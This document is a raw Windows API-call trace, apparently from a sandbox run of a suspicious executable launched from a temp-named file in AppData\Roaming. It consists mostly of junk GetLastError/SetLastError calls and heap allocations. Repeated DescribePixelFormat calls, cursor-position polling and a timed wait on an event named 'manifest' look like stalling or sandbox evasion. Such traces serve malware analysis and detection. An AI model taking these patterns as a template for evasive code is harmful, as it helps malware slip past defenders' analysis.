	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.649] SetLastError (dwErrCode=0x0) 
	[0066.649] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.650] SetLastError (dwErrCode=0x0) 
	[0066.650] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.651] GetLastError () returned 0x0
	[0066.651] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x35) returned 0x2c817c0
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.652] SetLastError (dwErrCode=0x0) 
	[0066.652] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.653] SetLastError (dwErrCode=0x0) 
	[0066.653] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.654] SetLastError (dwErrCode=0x0) 
	[0066.654] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.655] SetLastError (dwErrCode=0x0) 
	[0066.655] GetLastError () returned 0x0
	[0066.656] SetLastError (dwErrCode=0x0) 
	[0066.656] GetLastError () returned 0x0
	[0066.656] SetLastError (dwErrCode=0x0) 
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x9c) returned 0x2c81800
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1f) returned 0x2c818a8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x28) returned 0x2c818d0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x37) returned 0x2c81900
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x3c) returned 0x2c81940
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x31) returned 0x2c81988
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x14) returned 0x2c819c8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x24) returned 0x2c819e8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x31) returned 0x2c81a18
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x28) returned 0x2c81a58
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xd) returned 0x2c81a88
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c81aa0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x2b) returned 0x2c81ac0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x15) returned 0x2c81af8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c81b18
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x22) returned 0x2c81b38
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xe) returned 0x2c81b68
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xc1) returned 0x2c81b80
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x3e) returned 0x2c81c50
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1b) returned 0x2c81c98
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1d) returned 0x2c81cc0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x48) returned 0x2c81ce8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81d38
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x18) returned 0x2c81d58
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1b) returned 0x2c81d78
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x24) returned 0x2c81da0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x29) returned 0x2c81dd0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1e) returned 0x2c81e08
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x6b) returned 0x2c81e30
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c81ea8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xf) returned 0x2c81ec8
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x16) returned 0x2c81ee0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x28) returned 0x2c81f00
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x27) returned 0x2c81f30
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81f60
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x21) returned 0x2c81f80
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x10) returned 0x2c81fb0
	[0066.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1c) returned 0x2c81fc8
	[0066.657] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81ff0
	[0066.657] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c80fd0 | out: hHeap=0x2c80000) returned 1
	[0066.657] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x80) returned 0x2c80fd0
	[0066.657] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x800) returned 0x2c82010
	[0066.657] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0066.657] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0066.657] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x2f3ddc) returned 0x0
	[0066.658] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.658] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.658] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.658] GetVersionExA (in: lpVersionInformation=0xdefa6c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xdefa6c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0066.659] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.659] GetLastError () returned 0x0
	[0066.659] SetLastError (dwErrCode=0x0) 
	[0066.659] GetLastError () returned 0x0
	[0066.659] SetLastError (dwErrCode=0x0) 
	[0066.659] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.659] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.659] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.660] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c81058
	[0066.660] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c811b0
	[0066.660] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c81308
	[0066.660] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c82818
	[0066.660] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.660] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.660] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.660] GetLastError () returned 0x0
	[0066.660] SetLastError (dwErrCode=0x0) 
	[0066.660] GetLastError () returned 0x0
	[0066.660] SetLastError (dwErrCode=0x0) 
	[0066.660] GetLastError () returned 0x0
	[0066.661] SetLastError (dwErrCode=0x0) 
	[0066.661] GetLastError () returned 0x0
	[0066.661] SetLastError (dwErrCode=0x0) 
	[0066.661] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.661] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x50) returned 0x2c81460
	[0066.661] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.661] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.661] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c80fd0) returned 0x80
	[0066.661] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.662] GetLastError () returned 0x0
	[0066.662] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.663] GetLastError () returned 0x0
	[0066.663] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.664] SetLastError (dwErrCode=0x0) 
	[0066.664] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetLastError () returned 0x0
	[0066.665] SetLastError (dwErrCode=0x0) 
	[0066.665] GetModuleFileNameA (in: hModule=0x2a0000, lpFilename=0xdef998, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\52e8.tmp.exe")) returned 0x2c
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] GetLastError () returned 0x0
	[0066.666] SetLastError (dwErrCode=0x0) 
	[0066.666] LoadLibraryA (lpLibFileName="Riched20.dll") returned 0x733e0000
	[0066.675] CoInitialize (pvReserved=0x0) returned 0x0
	[0066.858] OleInitialize (pvReserved=0x0) returned 0x0
	[0066.858] CoInitialize (pvReserved=0x0) returned 0x1
	[0066.858] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x4f4) returned 0x2c82970
	[0066.858] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c82e70
	[0066.858] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c82fc8
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c83120
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c83278
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c833d0
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c83528
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c83680
	[0066.859] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x14c) returned 0x2c837d8
	[0066.859] GetStockObject (i=17) returned 0xa01c1
	[0066.859] GetObjectA (in: h=0xa01c1, c=60, pv=0xdefa10 | out: pv=0xdefa10) returned 60
	[0066.859] CreateFontIndirectA (lplf=0xdefa10) returned 0x8b0a01a9
	[0066.860] GetLastError () returned 0x0
	[0066.860] SetLastError (dwErrCode=0x0) 
	[0066.860] CreatePen (iStyle=0, cWidth=1, color=0xdc) returned 0x1f3005d8
	[0066.860] InitCommonControls () 
	[0066.860] LoadLibraryA (lpLibFileName="msimg32.dll") returned 0x73370000
	[0066.863] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0066.863] GetLastError () returned 0x0
	[0066.863] SetLastError (dwErrCode=0x0) 
	[0066.863] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814b8
	[0066.863] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0066.864] waveOutRestart (hwo=0x0) returned 0x5
	[0070.075] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814e8
	[0070.075] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c81500
	[0070.076] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0070.076] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814e8 | out: hHeap=0x2c80000) returned 1
	[0070.076] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c81500 | out: hHeap=0x2c80000) returned 1
	[0070.076] waveOutReset (hwo=0x0) returned 0x5
	[0070.076] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0070.803] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0070.888] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0071.409] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0071.584] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0071.905] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0072.128] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0072.367] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0072.647] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0072.907] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0073.067] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0073.177] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0074.559] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0074.733] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0074.927] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.064] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.264] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.377] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.496] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.607] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0xdef864 | out: ppfd=0xdef864) returned 0
	[0075.879] timeGetTime () returned 0x1153fee
	[0075.879] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814b8 | out: hHeap=0x2c80000) returned 1
	[0075.879] GetLastError () returned 0x6
	[0075.879] BeginPaint (in: hWnd=0x0, lpPaint=0xdef804 | out: lpPaint=0xdef804) returned 0x0
	[0075.879] GetDC (hWnd=0x330067) returned 0x0
	[0075.879] RevokeDragDrop (hwnd=0x0) returned 0x80040102
	[0075.880] GetHGlobalFromStream (in: pstm=0x0, phglobal=0xdef7e0 | out: phglobal=0xdef7e0) returned 0x80070057
	[0075.880] EndPaint (hWnd=0x0, lpPaint=0xdef804) returned 0
	[0075.881] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0075.881] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="manifest") returned 0x330
	[0075.881] GetCursorPos (in: lpPoint=0xdef2dc | out: lpPoint=0xdef2dc*(x=639, y=304)) returned 1
	[0075.881] GetCursorPos (in: lpPoint=0xdef304 | out: lpPoint=0xdef304*(x=639, y=304)) returned 1
	[0075.881] GetDC (hWnd=0x0) returned 0x10105d6
	[0075.881] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0075.881] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0075.881] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0075.882] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0075.882] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0075.882] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0075.882] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0075.882] LoadImageA (hInst=0x2a0000, name=0x1629, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0
	[0075.882] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0
	[0075.882] GetWindowTextLengthA (hWnd=0x0) returned 0
	[0075.882] GetWindowTextA (in: hWnd=0x0, lpString=0x0, nMaxCount=1 | out: lpString=0x0) returned 0
	[0075.882] SetMenu (hWnd=0x0, hMenu=0x0) returned 0
	[0075.882] WaitForSingleObject (hHandle=0x330, dwMilliseconds=0xbb9) returned 0x102
	[0078.937] GetCursorPos (in: lpPoint=0xdef304 | out: lpPoint=0xdef304*(x=639, y=304)) returned 1
	[0078.937] GetDC (hWnd=0x0) returned 0x190107e0
	[0078.938] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
